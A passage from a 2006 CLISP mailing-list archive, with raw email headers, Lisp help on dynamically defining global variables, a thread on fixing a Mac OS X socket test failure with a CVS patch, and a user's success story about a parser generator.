>CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 12 10:03:01 2006 X-Original-Date: Sun, 12 Feb 2006 19:01:24 +0100 spazzsloth writes: > > I use the following two definitions (simplified here) to dynamically name a > new global parameter, create a hash table as the parameter's value, and > assign the second parameter to the hash table's key, value: > > (defun make-var (&key var-name value) > (defparameter var-name (make-hash-table :test #'equal)) > (set-prop var-name 'value value)) Indent properly (configure your editor to avoid tabulations)! (defun make-var (&key var-name value) (defparameter var-name (make-hash-table :test #'equal)) (set-prop var-name 'value value)) DEFPARAMETER is not a function, it's a macro. Its specification says that its first and third arguments don't get evaluated, only its second argument. Therefore, you are defining a parameter named VAR-NAME, not one named as the value of the variable var-name. > (defun set-prop (var-name prop-name prop-value) > (setf (gethash prop-name var-name) prop-value)) > > This works fine: > (make-var :var-name "*a*" :value 10) Why are you giving a string as variable name? In lisp, variables are named with symbols, not strings... > However, if I try to retrieve the value by: > (gethash 'value *a*) > > I get the following error: > ERROR: The variable *a* is unbound > > Any thoughts would be greatly appreciated? You could use: (defun make-var (&key var-name value) (eval `(defparameter ,var-name (make-hash-table :test #'equal))) (set-prop var-name 'value value)) or: (defun make-var (&key var-name value) (proclaim `(special ,var-name)) (setf (symbol-value var-name) (make-hash-table :test #'equal)) (setf (documentation var-name 'variable) "A variable made by MAKE-VAR") (set-prop var-name 'value value)) -- __Pascal Bourguignon__ http://www.informatimago.com/ ATTENTION: Despite any other listing of product contents found herein, the consumer is advised that, in actuality, this product consists of 99.9999999999% empty space. From kaonashi@gmail.com Sun Feb 12 12:17:20 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F8Neo-0007KS-M3 for clisp-list@lists.sourceforge.net; Sun, 12 Feb 2006 12:17:18 -0800 Received: from www.nabble.com ([72.21.53.35] helo=talk.nabble.com) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1F8Nei-0001Se-8Q for clisp-list@lists.sourceforge.net; Sun, 12 Feb 2006 12:17:15 -0800 Received: from localhost ([127.0.0.1] helo=talk.nabble.com) by talk.nabble.com with esmtp (Exim 4.50) id 1F8Nef-00069e-67 for clisp-list@lists.sourceforge.net; Sun, 12 Feb 2006 12:17:09 -0800 Message-ID: <2900366.post@talk.nabble.com> From: spazzsloth Reply-To: spazzsloth To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] dynamically naming a parameter with hash table In-Reply-To: <17391.30708.85853.999092@thalassa.informatimago.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Nabble-Sender: kaonashi@gmail.com X-Nabble-From: spazzsloth References: <2892244.post@talk.nabble.com> <17391.30708.85853.999092@thalassa.informatimago.com> X-Spam-Score: -2.8 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 12 12:18:03 2006 X-Original-Date: Sun, 12 Feb 2006 12:17:09 -0800 (PST) Okay, my bad. Yes, I am clearly a novice and did not realize what this forum was for. I do, however, appreciate the feedback, so thanks to those who've helped me out. Perhaps I'll be back after I've learned more. -- View this message in context: http://www.nabble.com/dynamically-naming-a-parameter-with-hash-table-t1106969.html#a2900366 Sent from the clisp-list forum at Nabble.com. From Devon@Jovi.Net Sun Feb 12 12:39:33 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F8O0K-0000TC-Q0 for clisp-list@lists.sourceforge.net; Sun, 12 Feb 2006 12:39:32 -0800 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1F8O0J-0000sf-Dz for clisp-list@lists.sourceforge.net; Sun, 12 Feb 2006 12:39:32 -0800 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id k1CKSmTU074216 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 12 Feb 2006 15:28:49 -0500 (EST) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id k1CKSmlE074213; Sun, 12 Feb 2006 15:28:48 -0500 (EST) (envelope-from Devon@Jovi.Net) Message-Id: <200602122028.k1CKSmlE074213@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: spazzsloth CC: clisp-list@lists.sourceforge.net In-reply-to: <2900366.post@talk.nabble.com> (message from spazzsloth on Sun, 12 Feb 2006 12:17:09 -0800 (PST)) Subject: Re: [clisp-list] dynamically naming a parameter with hash table References: <2892244.post@talk.nabble.com> <17391.30708.85853.999092@thalassa.informatimago.com> <2900366.post@talk.nabble.com> X-Spam-Status: No, score=-3.4 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (grant.org [127.0.0.1]); Sun, 12 Feb 2006 15:28:54 -0500 (EST) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 12 12:40:02 2006 X-Original-Date: Sun, 12 Feb 2006 15:28:48 -0500 (EST) You're welcome. It is the most fun language to learn. Oh, I surely meant (set-prop ',var-name 'value ,value) but omitted a quote. Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From Devon@Jovi.Net Sun Feb 12 12:39:45 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F8O0X-0000TO-2Q for clisp-list@lists.sourceforge.net; Sun, 12 Feb 2006 12:39:45 -0800 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1F8O0L-0000sf-9C for clisp-list@lists.sourceforge.net; Sun, 12 Feb 2006 12:39:45 -0800 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id k1CKApN6043065 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 12 Feb 2006 15:10:51 -0500 (EST) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id k1CKAZbd042987; Sun, 12 Feb 2006 15:10:35 -0500 (EST) (envelope-from Devon@Jovi.Net) Message-Id: <200602122010.k1CKAZbd042987@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: CC: kaonashi@gmail.com, clisp-list@lists.sourceforge.net In-reply-to: <17391.30708.85853.999092@thalassa.informatimago.com> (message from Pascal Bourguignon on Sun, 12 Feb 2006 19:01:24 +0100) Subject: Re: [clisp-list] dynamically naming a parameter with hash table References: <2892244.post@talk.nabble.com> <17391.30708.85853.999092@thalassa.informatimago.com> X-Spam-Status: No, score=-3.5 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (grant.org [127.0.0.1]); Sun, 12 Feb 2006 15:10:58 -0500 (EST) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 12 12:40:03 2006 X-Original-Date: Sun, 12 Feb 2006 15:10:35 -0500 (EST) From: Pascal Bourguignon To: spazzsloth Date: Sun, 12 Feb 2006 19:01:24 +0100 ... (defun make-var (&key var-name value) (proclaim `(special ,var-name)) (setf (symbol-value var-name) (make-hash-table :test #'equal)) (setf (documentation var-name 'variable) "A variable made by MAKE-VAR") (set-prop var-name 'value value)) ... perhaps better as (defmacro make-var (&key var-name value) `(progn (defparameter ,var-name (make-hash-table :test #'equal)) (set-prop ,var-name 'value ,value))) (defun set-prop (var-name prop-name prop-value) (setf (gethash prop-name var-name) prop-value)) or better yet (defstruct var ...) and (setf (var ...) ...) etc. but isn't this more a deployment and debugging list than a tutorial list? Most users who think they want globals are novices who have yet to learn better ways. Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From jkoski11@comcast.net Sun Feb 12 16:10:56 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F8RIs-0007h4-99 for clisp-list@lists.sourceforge.net; Sun, 12 Feb 2006 16:10:54 -0800 Received: from rwcrmhc14.comcast.net ([216.148.227.154]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F8RIr-00065g-0w for clisp-list@lists.sourceforge.net; Sun, 12 Feb 2006 16:10:54 -0800 Received: from [192.168.0.100] (c-68-35-95-170.hsd1.nm.comcast.net[68.35.95.170]) by comcast.net (rwcrmhc14) with SMTP id <20060213001047m1400djjjme>; Mon, 13 Feb 2006 00:10:47 +0000 User-Agent: Microsoft-Entourage/11.2.1.051004 From: Joe Koski To: Message-ID: Thread-Topic: Mac OS X make check Thread-Index: AcYwMe+4LkiWdJwlEdqf5AAKlbaO5g== Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Subject: [clisp-list] Re: Mac OS X make check Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 12 16:11:11 2006 X-Original-Date: Sun, 12 Feb 2006 17:10:46 -0700 I just joined the list because I saw the same "UNIX ERROR 49", etc. on make check with clisp-2.38 that others are seeing on Macs. The twist is that I still run OS X 10.3.9. I read through the thread to the best of my ability, and found a patch for socket.d. Has this proven to be the solution for this problem? Where is there a fresh copy of the patch? Thanks for any help. Joe From Joerg-Cyril.Hoehle@t-systems.com Mon Feb 13 08:50:07 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F8gto-00015P-GS for clisp-list@lists.sourceforge.net; Mon, 13 Feb 2006 08:50:04 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F8gtl-00050o-25 for clisp-list@lists.sourceforge.net; Mon, 13 Feb 2006 08:50:04 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Mon, 13 Feb 2006 17:49:29 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id <15YJ4HZK>; Mon, 13 Feb 2006 17:49:29 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030865C0B4@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: jkoski11@comcast.net Subject: Re: [clisp-list] Re: Mac OS X make check MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 13 08:51:01 2006 X-Original-Date: Mon, 13 Feb 2006 17:49:17 +0100 Joe Koski writes: >I just joined the list because I saw the same "UNIX ERROR 49", >etc. on make >check with clisp-2.38 that others are seeing on Macs. The >twist is that I still run OS X 10.3.9. >I read through the thread to the best of my ability, and found >a patch for >socket.d. Has this proven to be the solution for this problem? Where is >there a fresh copy of the patch? I don't know which patch you refer to. What I can see in src/ChangeLog is that there's a single change w.r.t. sockets (file src/stream.d, changes SOCKET-SERVER) past the 2.38 release. You may wish to apply this patch and see if it helps. I must say that this whole thread confused me, I have no access to a Mac anyway, so I mostly skimmed over the thread. The last e-mail I see is from Sam Steingold, 16th of January: >> * Dan Starr [2006-01-15 10:28:37 -0500]: >> The diminished sockets.erg file follows ... >file:line is not captured in sockets.erg Regards, Jorg Hohle. From jkoski11@comcast.net Mon Feb 13 19:54:58 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F8rHF-0006OP-V8 for clisp-list@lists.sourceforge.net; Mon, 13 Feb 2006 19:54:57 -0800 Received: from sccrmhc11.comcast.net ([204.127.200.81]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F8rHE-0005mV-TQ for clisp-list@lists.sourceforge.net; Mon, 13 Feb 2006 19:54:58 -0800 Received: from [192.168.0.100] (c-68-35-95-170.hsd1.nm.comcast.net[68.35.95.170]) by comcast.net (sccrmhc11) with SMTP id <2006021403545001100fk49se>; Tue, 14 Feb 2006 03:54:50 +0000 User-Agent: Microsoft-Entourage/11.2.1.051004 Subject: Re: [clisp-list] Re: Mac OS X make check From: Joe Koski To: clisp list Message-ID: Thread-Topic: [clisp-list] Re: Mac OS X make check Thread-Index: AcYxGmbJpaNDyJ0NEdqYzQAKlbaO5g== In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A030865C0B4@S4DE8PSAAGS.blf.telekom.de> Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 13 19:55:11 2006 X-Original-Date: Mon, 13 Feb 2006 20:54:49 -0700 Joerg-Cyril, The Darwin UNIX of Mac OS X, based on BSD via the NEXT computer, is just different enough from other systems (e.g. Linux) to drive Mac users of open-source software crazy. Sometimes things build, other times you have big problems. Fink is supposed to solve those problems, but it is often several versions behind. I read the January e-mails that you cite, and I was hoping that a resolution to the problem had developed. Apparently no final solution has been reported. I assume the patch to sockets.d or stream.d that you mention is in your development CVS. Getting all the magic incantations to obtain the correct CVS file can be difficult for non-developers such as myself. If someone would send me the appropriate patches as an e-mail attachment, I would be willing to try them and report. I tried getting the sockets.d patch from the e-mail archive, but apparently I mangled it when I copied it, because errors were reported by the patch routine. Joe on 2/13/06 9:49 AM, Hoehle, Joerg-Cyril at Joerg-Cyril.Hoehle@t-systems.com wrote: > > Joe Koski writes: >> I just joined the list because I saw the same "UNIX ERROR 49", >> etc. on make >> check with clisp-2.38 that others are seeing on Macs. The >> twist is that I still run OS X 10.3.9. > >> I read through the thread to the best of my ability, and found >> a patch for >> socket.d. Has this proven to be the solution for this problem? Where is >> there a fresh copy of the patch? > > I don't know which patch you refer to. > What I can see in src/ChangeLog is that there's a single change w.r.t. sockets > (file src/stream.d, changes SOCKET-SERVER) past the 2.38 release. You may > wish to apply this patch and see if it helps. > > I must say that this whole thread confused me, I have no access to a Mac > anyway, so I mostly skimmed over the thread. > > The last e-mail I see is from Sam Steingold, 16th of January: >>> * Dan Starr [2006-01-15 10:28:37 -0500]: >>> The diminished sockets.erg file follows ... >> file:line is not captured in sockets.erg > > Regards, > Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Tue Feb 14 01:18:11 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F8wK3-0004IY-A9 for clisp-list@lists.sourceforge.net; Tue, 14 Feb 2006 01:18:11 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F8wK1-0000J2-Or for clisp-list@lists.sourceforge.net; Tue, 14 Feb 2006 01:18:11 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 14 Feb 2006 10:03:03 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id <15YJYDX0>; Tue, 14 Feb 2006 10:03:02 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0308730188@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: jkoski11@comcast.net Subject: AW: [clisp-list] Re: Mac OS X make check MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 14 01:19:01 2006 X-Original-Date: Tue, 14 Feb 2006 10:03:02 +0100 Joe Koski writes: >The Darwin UNIX of Mac OS X, based on BSD via the NEXT >computer, is just >different enough from other systems (e.g. Linux) to drive Mac users of >open-source software crazy. Hmm, I'd expect this to be typical symptoms of something just a bit different from mainstream, and other people need to learn & acknowledge that there's something beside the way Linux does things. Anyway, I would have thought that there are enough BSD systems around (NetBSD, OpenBSD, FreeBSD) who also use OSS, so acceptance of the existance of difference should be there already. IMHO, things will settle with time: quality of the Mac/UNIX environment will improve. >I assume the patch to sockets.d or stream.d that you mention is in your >development CVS. Silly me, I only talked about "src/Changelog" Please go to http://cvs.sourceforge.net/viewcvs.py/clisp/clisp/src/stream.d (e.g. from the CLISP home page: browse CVS) and more precisely http://cvs.sourceforge.net/viewcvs.py/clisp/clisp/src/stream.d?r1=1.557&r2=1.558 or http://cvs.sourceforge.net/viewcvs.py/clisp/clisp/src/stream.d?r1=1.557&r2=1.558&diff_format=u (i.e. play with the format options and you'll get something that you can use with patch or patch by hand). Alternatively, maybe the other Mac users can report whether the issue is still open or not and provide better halp than I can do. Regards, Jorg Hohle. From jkoski11@comcast.net Tue Feb 14 09:30:11 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F940A-0003rk-I9 for clisp-list@lists.sourceforge.net; Tue, 14 Feb 2006 09:30:10 -0800 Received: from sccrmhc11.comcast.net ([63.240.77.81]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F9408-00067D-2d for clisp-list@lists.sourceforge.net; Tue, 14 Feb 2006 09:30:10 -0800 Received: from [192.168.0.100] (c-68-35-95-170.hsd1.nm.comcast.net[68.35.95.170]) by comcast.net (sccrmhc11) with SMTP id <20060214172959011000duk9e>; Tue, 14 Feb 2006 17:29:59 +0000 User-Agent: Microsoft-Entourage/11.2.1.051004 Subject: Re: AW: [clisp-list] Re: Mac OS X make check From: Joe Koski To: clisp list Message-ID: Thread-Topic: AW: [clisp-list] Re: Mac OS X make check Thread-Index: AcYxjEdqha/c1p1/Edq4oAAKlbaO5g== In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0308730188@S4DE8PSAAGS.blf.telekom.de> Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 14 09:31:03 2006 X-Original-Date: Tue, 14 Feb 2006 10:29:59 -0700 Jorg Hohle, OK, I found the diff text file, and saved it as a patch for stream.d. I then applied the patch to stream.d, deleted stream.o, and ran make again. There was much verbiage during the compilation of stream.d, but no fatal errors. Now, when I run make check, I have success: finished 48 files: 0 errors out of 10,372 tests 1 alltest: 0 errors out of 631 tests 2 array: 0 errors out of 290 tests 3 backquot: 0 errors out of 88 tests 4 bin-io: 0 errors out of 15 tests 5 characters: 0 errors out of 221 tests 6 clos: 0 errors out of 482 tests 7 defhash: 0 errors out of 6 tests 8 encoding: 0 errors out of 31 tests 9 eval20: 0 errors out of 21 tests 10 floeps: 0 errors out of 20 tests 11 format: 0 errors out of 259 tests 12 genstream: 0 errors out of 14 tests 13 hashlong: 0 errors out of 10 tests 14 hashtable: 0 errors out of 7 tests 15 iofkts: 0 errors out of 218 tests 16 lambda: 0 errors out of 89 tests 17 lists151: 0 errors out of 201 tests 18 lists152: 0 errors out of 255 tests 19 lists153: 0 errors out of 1 test 20 lists154: 0 errors out of 46 tests 21 lists155: 0 errors out of 25 tests 22 lists156: 0 errors out of 20 tests 23 loop: 0 errors out of 130 tests 24 macro8: 0 errors out of 193 tests 25 map: 0 errors out of 64 tests 26 mop: 0 errors out of 217 tests 27 number: 0 errors out of 3,655 tests 28 number2: 0 errors out of 252 tests 29 pack11: 0 errors out of 202 tests 30 path: 0 errors out of 141 tests 31 setf: 0 errors out of 167 tests 32 socket: 0 errors out of 60 tests 33 steele7: 0 errors out of 85 tests 34 streams: 0 errors out of 363 tests 35 streamslong: 0 errors out of 14 tests 36 strings: 0 errors out of 407 tests 37 symbol10: 0 errors out of 147 tests 38 symbols: 0 errors out of 5 tests 39 time: 0 errors out of 23 tests 40 type: 0 errors out of 272 tests 41 weak: 0 errors out of 120 tests 42 weakhash: 0 errors out of 25 tests 43 weakhash2: 0 errors out of 46 tests 44 bind: 0 errors out of 67 tests 45 weakptr: 0 errors out of 240 tests 46 conditions: 0 errors out of 89 tests 47 restarts: 0 errors out of 66 tests 48 excepsit: 0 errors out of 372 tests Real time: 208.93788 sec. Run time: 188.22 sec. Space: 731690008 Bytes GC: 984, GC time: 50.73 sec. 0 Bye. (echo *.erg | grep '*' >/dev/null) || (echo "Test failed:" ; ls -l *erg; echo "To see which tests failed, type" ; echo " cat "`pwd`"/*.erg" ; exit 1) echo "Test passed." Test passed. Yes, the patch in CVS does work on my Mac. Now I'll install the new clisp, and attempt to build maxima-5.9.2. Many thanks. Joe on 2/14/06 2:03 AM, Hoehle, Joerg-Cyril at Joerg-Cyril.Hoehle@t-systems.com wrote: > Joe Koski writes: >> The Darwin UNIX of Mac OS X, based on BSD via the NEXT >> computer, is just >> different enough from other systems (e.g. Linux) to drive Mac users of >> open-source software crazy. > Hmm, I'd expect this to be typical symptoms of something just a bit different > from mainstream, and other people need to learn & acknowledge that there's > something beside the way Linux does things. Anyway, I would have thought that > there are enough BSD systems around (NetBSD, OpenBSD, FreeBSD) who also use > OSS, so acceptance of the existance of difference should be there already. > IMHO, things will settle with time: quality of the Mac/UNIX environment will > improve. > >> I assume the patch to sockets.d or stream.d that you mention is in your >> development CVS. > Silly me, I only talked about "src/Changelog" > Please go to > http://cvs.sourceforge.net/viewcvs.py/clisp/clisp/src/stream.d > (e.g. from the CLISP home page: browse CVS) > and more precisely > http://cvs.sourceforge.net/viewcvs.py/clisp/clisp/src/stream.d?r1=1.557&r2=1.5 > 58 > or > http://cvs.sourceforge.net/viewcvs.py/clisp/clisp/src/stream.d?r1=1.557&r2=1.5 > 58&diff_format=u > (i.e. play with the format options and you'll get something that you can use > with patch or patch by hand). > > Alternatively, maybe the other Mac users can report whether the issue is still > open or not and provide better halp than I can do. > > Regards, > Jorg Hohle. From seanerikoconnor@hotmail.com Tue Feb 14 11:40:57 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F962g-0007Na-PX for clisp-list@lists.sourceforge.net; Tue, 14 Feb 2006 11:40:54 -0800 Received: from bay101-f22.bay101.hotmail.com ([64.4.56.32] helo=hotmail.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F962f-0002Cy-Le for clisp-list@lists.sourceforge.net; Tue, 14 Feb 2006 11:40:54 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 14 Feb 2006 11:40:47 -0800 Message-ID: Received: from 64.4.56.200 by by101fd.bay101.hotmail.msn.com with HTTP; Tue, 14 Feb 2006 19:40:46 GMT X-Originating-IP: [192.146.1.16] X-Originating-Email: [seanerikoconnor@hotmail.com] X-Sender: seanerikoconnor@hotmail.com From: "Sean O'Connor" To: clisp-list@lists.sourceforge.net Bcc: Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-OriginalArrivalTime: 14 Feb 2006 19:40:47.0574 (UTC) FILETIME=[8D881F60:01C6319E] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 MSGID_FROM_MTA_HEADER Message-Id was added by a relay Subject: [clisp-list] Success story: LALR(1) parser generator written in CLISP. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 14 11:41:17 2006 X-Original-Date: Tue, 14 Feb 2006 11:40:46 -0800 Thanks for a really incredible implementation of Common Lisp: complete, stable, easy to install, well-documented! Here's my success story: I've used CLISP to write a parser generator and parser program for LR(1) and LALR(1) grammars which can handle epsilon productions. It's free software, available at http://www.seanerikoconnor.freeservers.com/ComputerScience/Compiler/ParserGeneratorAndParser/overview.html Best wishes, and keep up the fine work, Sean O'Connor seanerikoconnor@hotmail.com http://www.seanerikoconnor.freeservers.com From jkoski11@comcast.net Tue Feb 14 12:25:21 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F96jh-0002cc-D6 for clisp-list@lists.sourceforge.net; Tue, 14 Feb 2006 